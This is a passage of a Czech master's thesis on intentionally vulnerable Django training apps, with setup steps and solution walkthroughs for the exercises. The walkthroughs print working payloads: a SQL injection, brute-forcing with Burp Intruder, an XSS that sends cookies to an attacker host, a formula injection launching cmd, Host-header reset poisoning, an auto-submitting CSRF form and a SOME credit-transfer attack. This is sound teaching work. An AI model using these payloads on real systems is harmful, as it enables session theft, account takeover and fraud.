Aplikace Fitness 2 má stejný základ a stejnou poslední zranitelnost jako aplikace Fitness. Ostatní zranitelnosti jsou odebrány a jsou přidány dvě nové zranitelné funkce. První umožňuje obnovit heslo pomocí odeslání emailu uživateli. Kvůli povaze aplikace ale není skutečný email odeslán. Místo toho je uživateli

zobrazen poslední obnovovací email v jeho profilu uvnitř aplikace Crossroads. Princip využití zranitelnosti se ale nemění. Další funkcionalitou je změna hesla u přihlášeného uživatele. Cíl studenta je stejný jako v předchozí aplikaci, ale musí využít jiných zranitelností.

2.5 Cinema

Zde se jako v předchozích případech musí uživatel nejdříve přihlásit. Následně si může vybrat ze seznamu promítání a provést rezervaci. Také může komunikovat s přáteli a odesílat jim svůj získaný kredit. Aplikace má několik limitací, které nemění podstatu obsažené zranitelnosti, ale omezují její reálné použití. Není zde možnost přidávat přátele či kontrolovat vytvořené rezervace. Doručené zprávy v konverzaci se načítají pouze při jejím otevření. Cílem studenta je odeslat kredit z jednoho účtu na druhý.

Kapitola 3

Návod

3.1 Instalace

Aplikace je vyzkoušena na operačním systémemu Debian 9 s Python interpreterem verze 3.5.3 a s Django verzí 2.1. Příkazy nutné pro instalaci prerekvizit jsou:

```
su -
apt-get update
apt-get dist-upgrade
apt-get install python3-pip
apt-get install sqlite3
pip3 install Django==2.1
pip3 install openpyxl
```

Následně stačí zkopírovat složku se zdrojovými kódy. Vzhledem ke zranitelnostem aplikace je vhodné využít virtualizace. Na přiloženém disku se nachází archiv obsahující virtuální stroj s předinstalovanou aplikací. Archiv je potřeba rozbalit a ke spuštění virtuálního stroje použít volně dostupný nástroj VMWare Workstation Player [27]. Ve virtuálním stroji je nainstalován operační systém Debian 9, z kterého byly odstraněny nepotřebné programy a aplikace byla nainstalována dle postupu výše. Žádný další spustitelný kód není přidán. Uživatelská jména jsou `debianuser` a `debianroot`. Hesla jsou stejná jako přihlašovací jména. Všechny informace lze nalézt i v souboru `readme.txt`.

3.2 Návod pro vyučujícího

Pro spuštění aplikace je nejdříve potřeba přesunout se do adresáře, v kterém se aplikace nachází. Ve virtuálním stroji je cesta `/home/debianuser/TS`. Dalším krokem je zadat v terminálu příkaz `python3 manage.py runserver`. Tímto příkazem se aplikace spustí a bude poslouchat pouze lokálně na portu 8000.

Abychom umožnili spojení od ostatních zařízení, přídáme na konec příkazu parametr `0.0.0.0:8000`.

Na domovskou stránku se dostaneme zadáním adresy `http://<IP>:8000`. V horní části obrazovky je možné se přihlásit. Přihlašovací údaje pro administrátorský účet jsou uvedeny v souboru `readme.txt` na přiloženém disku a také v adresáři se zdrojovými kódy. Pomocí nich po přihlášení vytvoříme učitelský účet zadáním uživatelkého jména. Heslo je vygenerováno náhodně a je zobrazeno pouze jednou. Dále můžeme vytvářet další účty. Heslo lze změnit přes administrátorské rozhraní na adrese:

```
http://<APP_IP>:8000/admin
```

nebo příkazem:

```
python3 manage.py changepassword <username>
```

3.3 Nástroje vhodné k řešení

Řešení vytvořených cvičení lze ve většině případů dosáhnout pouze pomocí webového prohlížeče a jeho vývojářských nástrojů. Práci si však lze značně zjednodušit při využití kvalitních testovacích nástrojů. Jejich znalost studenti uplatní v praxi a je vhodné je s nimi seznámit. Zaměříme se zde na volně dostupné a neplacené programy.

3.3.1 Kali

Nejen při penetračním testování lze využít operační systém Kali. Ten je založen na linuxové distribuci Debian a je zdarma. Kali je udržován týmem Offensive Security, který nabízí penetrační testování, tréninky a certifikace.

Výhodou je 600 instalovaných nástrojů na penetrační testování webových aplikací, databází, získávání informací, exploitaci, forenzní analýzu a reverzní inženýrství. Některé z nich jsou zcela zdarma, jiné jsou pouze omezené verze placených programů.

3.3.2 Burp Suite

Při postupu lze nejvíce zúročit webovou proxy s názvem Burp Suite. Ta umožňuje zachytávat a modifikovat požadavky a odpovědi. Zároveň je možné dotazy odesílat opakovaně a odesílání automatizovat. Burp Suite obsahuje další pomocné nástroje pro porovnávání obsahu a jeho dekódování. V placené verzi je přítomen i skener, který umí odhalit zranitelnosti webových aplikací. Burp Suite je možné rozšířit pomocí uživatelských přídavků, ale některé z nich jsou dostupné pouze pro platící zákazníky.

Aplikace se používá společně s webovým prohlížečem. V něm je potřeba nastavit adresu a port proxy na hodnotu `127.0.0.1:8080`. Pokud chceme

přistupovat k aplikacím přes protokol HTTPS, musíme importovat certifikát Burp Suite do webového prohlížeče. Z Burp Suite certifikát exportujeme ze záložky `Proxy - Options`. Více infromací o nastavení a fungování nástroje lze nalézt na [28]. Prní požadavek jdoucí přes proxy bude zachycen díky volbě `Intercept` v záložce `Proxy`. Zachytávání využíváme pokud chceme prozkoumat a upravit obsah požadavku.

3.4 Řešení úloh

3.4.1 Totally Secure Bank

Studentovi je na začátku sděleno, u kterého uživatele má zobrazit hledanou transakci. Při neúspěšném pokusu o přihlášení je zobrazena možnost obnovení hesla. Zde se zobrazují bezpečnostní otázky. Dle nápovědy je možné najít odpověď na jednu z nich na sociální síti twitter. Na účtu oběti, který najdeme například zadáním jména na stránce `https://twitter.com/search-home`, se nachází fotka psa jménem Lajka. Po zadání správné odpovědi je zobrazeno aktuální heslo.

Dalším krokem je použití hesla k přihlášení. Následně je potřeba zadat čtyřmístný náhodný kód vytvořený pro každého studenta zvlášť. K tomu lze využít nástroj Intruder v programu Burp Suite. Pokusíme se kód uhodnout a požadavek zachytit v proxy. Tento požadavek přepošleme do Intruderu přes menu vyvolané pravým tlačítkem myši nebo pomocí klávesové zkratky `Ctrl+I`. Dalším krokem je přenus do záložky `Intruder`. Budeme hádat hodnotu parametru `code`. Přesuneme se do záložky `Positions` a pouze hodnotu tohoto parametru necháme obalenou znaky `$`. Na další záložce přidáme mezi odesílané hodnoty seznam čísel. Kód má hodnotu mezi 1000 až 1200, aby bylo zadávání jednodušší a útok netrval dlouho. Volně dostupná verze neumožňuje paralelní odesílání požadavků. Útok spustíme tlačítkem `Start attack` v pravém horním rohu. Zadání správného kódu vede k přesměrování na domovskou stránku, zatímco všechny ostatní kódy ho ponechají na stránce se zadáváním kódu. Tuto skutečnost můžeme využít při filtrování odpovědí a získání správné hodnoty. Pro případ většího množství studentů vedoucího k zahlcení serveru je možné dané řešení předvést a sdělit jim statický kód 6279, který funguje pro všechny uživatele.

Cílem je získat záznam o určité platbě, ale jejich seznam je dostupný pouze pro prémiové uživatele. Při dokončení přihlášení je nastavena další cookie s názvem `user_type`. Její hodnota je kódována pomocí base64. Hodnotu můžeme dekódovat v záložce `Decoder` a zjistit, že její obsah je `premium=false`. Pokud hodnotu upravíme na `premium=true`, zakódujeme a změníme v dalším požadavku, získáme přístup k výpisu plateb. Pokud chceme změnit hodnotu pro všechny požadavky, musíme ji upravit přes vývojářské nástroje prohlížeče.

Po výběru data a typu platby se zobrazí pouze normální transakce. V popise je uvedeno, že všechny platby jsou evidovány, ale některé typy plateb

jsou uživateli sděleny pouze na pobočce. To nás vede k doměnce, že v tomto výpise jsou platby filtrovány podle příznaku. Zkusíme použít SQL injection, ale zjistíme, že některé parametry jsou ošetřeny. Zdrojový kód dotazu do databáze vypadá následovně:

```
SELECT second_account, send_date, amount, transaction_comment \
FROM banking_Transaction WHERE send_date BETWEEN "' + \
date_from + '" AND "' + date_to + '" AND user_is_sender = "' + \
outgoing + '" AND NOT transaction_hidden
```

Parametr požadavku `type` se zpracuje a přejmenuje na proměnnou jménem `outgoing`. Pokud do něj předáme hodnotu `1"--`, poslední část filtrující skryté platby bude zakomentována. Tím zobrazíme naprosto všechny transakce v daném časovém období. Hledaná platba byla provedena dne 17. srpna 2018.

3.4.2 Totally Secure Fitness

Prvním úkolem studenta je získat přistup k účtu. V této aplikaci se ale nenachází možnost obnovy hesla. Chybí zde i ochrana proti útoku hrubou silou, a vhodným přístupem je slovníkový útok. Správné heslo se nachází v několika seznamech nejpoužívanějších hesel. Níže je uvedeno několik příkladů.

- `/usr/share/wordlists/metasploit/unix_passwords.txt`
- `/usr/share/wordlists/metasploit/passwords.lst`
- Online v repozitáři SecLists [29]

Seznam hesel můžeme importovat do Intruderu. Postup je obdobný jako v předchozím cvičení, ale tentokrát budeme hádat hodnotu parametru `password`. V záložce `payload` použijeme možnost `Load` a v dialogovém okně vybereme správný soubor. Pro úspěch stačí vybrat soubor se 100 nejpoužívanějšími hesly ze seznamu [29]. Po provedení útoku zjistíme, že správné heslo je `princess`.

Při přihlášení si všimneme, že cookie `sessionid` je nastavena bez direktivy `httpOnly`. To znamená, že je dostupná pomocí javascriptu. Vstoupíme do sekce kladení otázek a pokusíme se vstup otestovat na XSS. Obsah otázky je ošetřen, ale název není. Jelikož je délka vstupu limitována, upravíme parametr po odeslání v Burp proxy. Další možností je poslat nevalidní dotaz a dostat informativní chybovou hlášku. Pomocí ní zjistíme, že aplikace nesprávně řídí přístup a běžnému uživateli umožňuje odeslat i odpověď na svoje otázky. Odpověď není nijak kontrolována, pouze je potřeba zjistit identifikátor otázky, který je uveden v `HTML` komentáři. Máme tedy dvě možnosti jak útok provést. Cílem je odeslání cookie `sessionid` na útočníkův server. Útočníkův vstup může vypadat například takto:

```
<script>
new Image().src="http://<ATTACKER_IP>?c="%2b(document.cookie)%3b
</script>
```

Pokud jakýkoliv uživatel daného studenta přistoupí na stránku s otázkami, jeho cookie bude automaticky odeslána. Student si na svém počítači může zapnout webový server Apache pomocí příkazu `service apache2 start`. Hodnotu cookie pak zjistí ze souboru `/var/log/apache2/access.log`. Útočníkovi potom stačí změnit její hodnotu v prohlížeči. Dalším krokem je přistoupit k aplikaci pomocí trenéra a simulovat chování oběti. Můžeme tak učinit nejlépe z jiného prohlížeče nebo anonymního režimu. Heslo k trenérskému účtu je uvedeno v osobní stránce studenta.

Po ukradení spojení zjistíme, že se zde nachází možnost vytváření nových rozpisů ve formátu `xlsx`. Cílem je spustit kalkulačku na nějakém uživatelském zařízení. Budeme vycházet z předpokladu, že nejvíce uživatelů má platforma Windows. Do pole s obsahem souboru můžeme vložit `=cmd|'/c calc.exe'!a`. Po stáhnutí a otevření souboru v programu Excel na operačním systému Windows dojde po povolení obsahu ke spuštění kalkulačky.

3.4.3 Totally Secure Fitness 2

Stejně jako v předchozích případech je nejdříve potřeba získat přístup k účtu. V této aplikaci však kromě chyby musíme využít i sociální inženýrství. Když se neúspěšně pokusíme o přihlášení, objeví se možnost obnovy hesla. Při zadávání údajů pro obnovu hesla je možné změnit v proxy hlavičku `Host` na doménu vlastněnou útočníkem. Aplikace generuje odkaz v emailu právě pomocí této hlavičky. Pokud uživatele přesvědčíme, aby kliknul na odkaz, pak zjistíme hodnotu parametru pro obnovu hesla a můžeme ho sami změnit. Lepší variantou pro útočníka je vytvořit stránku podobnou té opravdové. Potom co uživatel heslo zadá aplikaci kontrolované útočníkem, odešle útočníkova aplikace požadavek na originální stránku se změnou hesla a uživatele přesměruje na legitimní stránku. Ten si tak myslí, že vše proběhlo v pořádku.

Se zjištěným heslem se přihlásíme do běžného účtu, ale stále je potřeba získat vyšší privilegia. Oproti předchozí aplikaci zde přibyla možnost změny hesla. Ta neobsahuje ochranu proti CSRF. Vytvoříme novou otázku a do jejího textu vložíme odkaz na útočníkovu stránku. Tato stránka musí obsahovat kód, který odešle správný požadavek. Při použití `XMLHttpRequest` prohlížeč zobrazí chybu kvůli absenci hlavičky `Access-Control-Allow-Origin`. Stránka tak musí obsahovat vyplněný formulář, který je odeslán skriptem.

```
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
```

```
<script>
window.onload = function () { document.forms[0].submit(); }
</script>
</head>
<body>
<form method="POST"
  action="http://<APP_IP>:8000/fitness_2/password_change.html">
<input type="hidden" name="password" value="aaaaaaaa"/>
<input type="hidden" name="password2" value="aaaaaaaa"/>
<input type="submit" value="Send"/>
</form>
</body>
</html>
```

Jakýkoliv uživatel, který přistoupí na tuto stránku bude mít automaticky změněné heslo.

3.4.4 Totally Secure Cinema

Nejdříve se do aplikace přihlásíme. Heslo a jméno nalezneme v aplikaci Crossroads. Po přihlášení vybereme promítání a otevře se vyskakovací okno s detailními údaji a možností provést rezervaci. Po odeslání rezervace se v URL objeví parametr `callback`, který určuje, zda byla akce úspěšná. Vyskakovací okno se zavře a v původním okně se zobrazí hláška o stavu rezervace. Tuto hlášku zobrazuje funce v javascriptu. Volaná funkce je určeno právě hodnotou parametru `callback`.

Druhá stránka umožňuje komunikovat s dalšími uživateli a darovat jim kredit. Pokusíme se složit vše dohromady. Útočník odešle oběti odkaz na vlastní stránku. URL může vypadat například takto:

```
http://<ATTACKER_IP>/some.html
```

V tuto chvíli se přihlásíme v jiném prohlížeči jako druhý uživatel a doručený odkaz otevřeme. Obsah této stránky je následovný:

```
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<script>
function startSOME() {
  location.replace("http://<APP_IP>:8000/cinema/friends.html");
  window.open("some2.html");
}
</script>
```

```
<button onclick=startSOME()>SOME</button>
</head>
<body>
</body>
</html>
```

Tato stránka obsahuje funkci, která otevře nové okno se stránkou na serveru útočníka a původní okno přesměruje na stránku s možností odeslání kreditu. Funkce se pro jednoduchost spouští pomocí stisknutí tlačítka, protože Firefox blokuje automaticky otevíraná okna. Obsah souboru `some2.html`:

```
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
</head>
<body>
<script>
function waitForDOM() {
  location.replace("http://<APP_IP>:8000/cinema/reservation.html?
  id=1&callback=document.body.lastElementChild
  .lastElementChild.lastElementChild.lastElementChild
  .firstElementChild.nextElementSibling.submit");
};
setTimeout(waitForDOM,1000);
</script>
</body>
</html>
```

Tato stránka změní parametr `callback`. V proměnné `opener` na stránce s rezervací je nastaven odkaz na stránku s odesíláním kreditů. Díky tomu bude funkce v parametru callback spuštěna právě na ni. Pomocí DOMu jsme vytvořili referenci na formulář s odesláním kreditů a odešleme ho pomocí `submit`. Tím se kredity oběti, která otevřela obdržený odkaz převedou na účet útočníka.

Závěr

Cílem práce bylo analyzovat vybrané záměrně zranitelné webové aplikace, kategorizovat je a popsat jejich zranitelnosti. Na základě této analýzy následně vytvořit vlastí aplikaci.

Na začátku jsme vybrané aplikace z projektu OWASP BWA a Foundstone nainstalovali a vyzkoušeli. Získali jsme tak seznam jejich zranitelností. Ty jsme následně kategorizovali na základě upraveného dělení, které vychází z publikace Web Application Hacker Handbook. Každá kategorie obsahuje příklady zranitelností z daných aplikací včetně ukázky jejich zneužití.

Během analýzy jsme zjistili, že soubor aplikací představuje komplexní vzdělávací nástroj obsahující široké spektrum známých zranitelností. Přesto zde některé chybí, například novější Same Origin Method Execution nebo Formula injection. Proto jsme je implementovali ve vlastních aplikacích.

V praktické části jsme se snažili vytvořit aplikaci odlišnou. Analyzovaná řešení jsou napsána v jazycích PHP, Java, Ruby a Perl. My jsme při implementaci aplikací využili programovací jazyk Python a framework Django. Zranitelnosti jsme neimplementovali tvz. vedle sebe, ale spojili je za sebe a uživatel tak k dosažení cíle potřebuje zneužít všechny zranitelnosti v dané aplikaci. Takové aplikace vznikli celkem tři, čtrvtá obsahuje pouze SOME.

Podařilo se nám vytvořit nástroj, který je vhodným doplněním existujících řešení, umožňuje uživatelům zranitelnosti lépe pochopit a pomáhá jim trénovat hledání zranitelností v reálných aplikacích.

Projekt, který jsme v této práci vytvořili, lze snadno rozšířit o další aplikace. Ty by mohly obsahovat nové variace známých i méně známých zranitelností. Velký přínos by měla implementace problémů, které se v analyzovaných aplikacích vyskytují méně, například SSRF či XXE.

Literatura

[1] BEZPEČNOSTNÍ INFORMAČNÍ SLUŽBA. *Výroční zpráva Bezpečnostní informační služby za rok 2017* [online]. 2018, 16 [cit. 2019-01-01]. Dostupné z: https://www.bis.cz/public/site/bis.cz/content/vyrocni-zpravy/2017-vz-cz.pdf

[2] *OWASP BWA* [online]. [cit. 2018-10-23]. Dostupné z: https://www.owasp.org/index.php/OWASP_Broken_Web_Applications_Project

[3] OWASP WebGoat [online]. [cit. 2018-10-24]. Dostupné z: https://www.owasp.org/index.php/Category:OWASP_WebGoat_Project

[4] DVWA [online]. [cit. 2018-10-24]. Dostupné z: http://www.dvwa.co.uk/

[5] bWAPP [online]. [cit. 2018-10-24]. Dostupné z: http://www.itsecgames.com/

[6] OWASP Vicnum [online]. [cit. 2018-10-24]. Dostupné z: https://www.owasp.org/index.php/Category:OWASP_Vicnum_Project

[7] WackoPicko [online]. [cit. 2018-10-24]. Dostupné z: https://github.com/adamdoupe/WackoPicko

[8] DOUPÉ, Adam, Marco COVA a Giovanni VIGNA. Why Johnny Can't Pentest: An Analysis of Black-Box Web Vulnerability Scanners. In: *Detection of Intrusions and Malware, and Vulnerability Assessment*. Berlin, Heidelberg: Springer Berlin Heidelberg, 2010, 2010, s. 111-131. Lecture Notes in Computer Science. DOI: 10.1007/978-3-642-14215-4_7. ISBN 978-3-642-14214-7. Dostupné také z: http://link.springer.com/10.1007/978-3-642-14215-4_7

[9] *OWASP Top Ten* [online]. [cit. 2018-11-16]. Dostupné z: https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

[10] *OWASP Testing Guide* [online]. [cit. 2018-11-12]. Dostupné z: https://www.owasp.org/images/1/19/OTGv4.pdf

[11] Password Quality Estimation. *KeePass* [online]. [cit. 2018-12-26]. Dostupné z: https://keepass.info/help/kb/pw_quality_est.html

[12] STUTTARD, Dafydd a Marcus PINTO. *The web application hacker's handbook: finding and exploiting security flaws*. 2nd ed. Chichester: John Wiley, c2011. ISBN 978-1-118-02647-2.

[13] Adobe Flash Player. *Adobe* [online]. [cit. 2018-12-13]. Dostupné z: https://www.adobe.com/cz/products/flashplayer.html

[14] *Burp Suite* [online]. [cit. 2018-11-03]. Dostupné z: https://portswigger.net/burp

[15] *Wireshark* [online]. [cit. 2019-01-03]. Dostupné z: https://www.wireshark.org/

[16] BARTH, A. RFC6265: *HTTP State Management Mechanism*. 2011. Dostupné také z: https://www.rfc-editor.org/info/rfc6265

[17] Forced browsing. *OWASP* [online]. [cit. 2018-12-28]. Dostupné z: https://www.owasp.org/index.php/Forced_browsing

[18] Path traversal. *OWASP* [online]. [cit. 2018-12-23]. Dostupné z: https://www.owasp.org/index.php/Path_Traversal

[19] CORS. MDN web docs [online]. [cit. 2018-11-25]. Dostupné z: https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS

[20] BARTH, Adam, Collin JACKSON a John MITCHELL. *Robust Defenses for Cross-Site Request Forgery*. 2008. Dostupné také z: https://seclab.stanford.edu/websec/csrf/csrf.pdf

[21] HTTP Cookies. MDN web docs [online]. [cit. 2018-11-26]. Dostupné z: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies#SameSite_cookies

[22] Unrestricted File Upload. *OWASP* [online]. [cit. 2018-12-19]. Dostupné z: https://www.owasp.org/index.php/Unrestricted_File_Upload

[23] Sqlmap [online]. [cit. 2019-01-04]. Dostupné z: http://sqlmap.org/

[24] HAYAK, Ben. *Same Origin Method Execution: Exploiting A Callback for Same Origin Policy Bypass* [online]. 2015 [cit. 2018-11-30]. Dostupné z: https://www.blackhat.com/docs/eu-14/materials/eu-14-Hayak-Same-Origin-Method-Execution-Exploiting-A-Callback-For-Same-Origin-Policy-Bypass-wp.pdf

[25] CSV Injection. *OWASP* [online]. [cit. 2018-12-04]. Dostupné z: https://www.owasp.org/index.php/CSV_Injection

[26] OpenPyXl. *Read the Docs* [online]. [cit. 2018-12-29]. Dostupné z: https://openpyxl.readthedocs.io/en/stable/

[27] Workstation Player. *VMWare* [online]. [cit. 2019-01-07]. Dostupné z: https://www.vmware.com/cz/products/workstation-player.html

[28] Burp Suite Documentation. *Portswigger* [online]. [cit. 2018-12-01]. Dostupné z: https://portswigger.net/burp/documentation/desktop

[29] MIESSLER, Daniel. SecLists. In: *Github* [online]. [cit. 2018-12-07]. Dostupné z: https://github.com/danielmiessler/SecLists/tree/master/Passwords/Common-Credentials

Příloha **A**

Seznam použitých zkratek

AJAX Asynchronous JavaScript and XML

ASP Active Server Pages

bWAAP buggy Web Application

BWA Broken Web Applications

CAPTCHA Completely Automated Public Turing test to tell Computers and Humans Apart

CD Compact Disc

CGI Common Gateway Interface

CORS Cross-Origin Resource Sharing

CRLF Carriage Return Line Feed

CSRF Cross-Site Request Forgery

DNS Domain Name System

DOM Document Object Model

DoS Denial of Service

DVWA Damn Vulnerable Web App

FQDN Fully Qualified Domain Name

GNU GNU's Not Unix

HTML Hypertext Markup Language

HTTP Hypertext Transfer Protocol

HTTPS Hypertext Transfer Protocol Secure

ICMP Internet Control Message Protocol

IIS Internet Information Services

IP Internet Protocol

ISP Internet Service Provider

LFI Local File Inclusion

NTLM NT LAN Manager

OS Operating System

OSCP Offensive Security Certified Professional

OWASP Open Web Application Security Project

PHP PHP: Hypertext Preprocessor

RAR Roshal ARchive

RFI Remote File Inclusion

SMS Short Message Service

SOME Same Origin Method Execution

SOP Same Origin Policy

SQL Structured Query Language

SSI Server Side Includes

SSL Secure Sockets Layer

SSRF Server-Side Request Forgery

TCP Transmission Control Protocol

TLS Transport Layer Security

URI Uniform Resource Identifier

URL Uniform Resource Locator

XML eXtensible Markup Language

XSS Cross-Site Scripting

XXE XML External Entity

Příloha **B**

Obsah přiloženého CD

- `readme.txt` ..... stručný popis obsahu CD
- `virtual` ..... adresář s virtuálním strojem
- `src`
  - `impl` ..... zdrojové kódy implementace
  - `thesis` ..... zdrojová forma práce ve formátu LaTeX
- `text` ..... text práce
  - `DP_Dvoracek_Tomas_2019.pdf` ..... text práce ve formátu PDF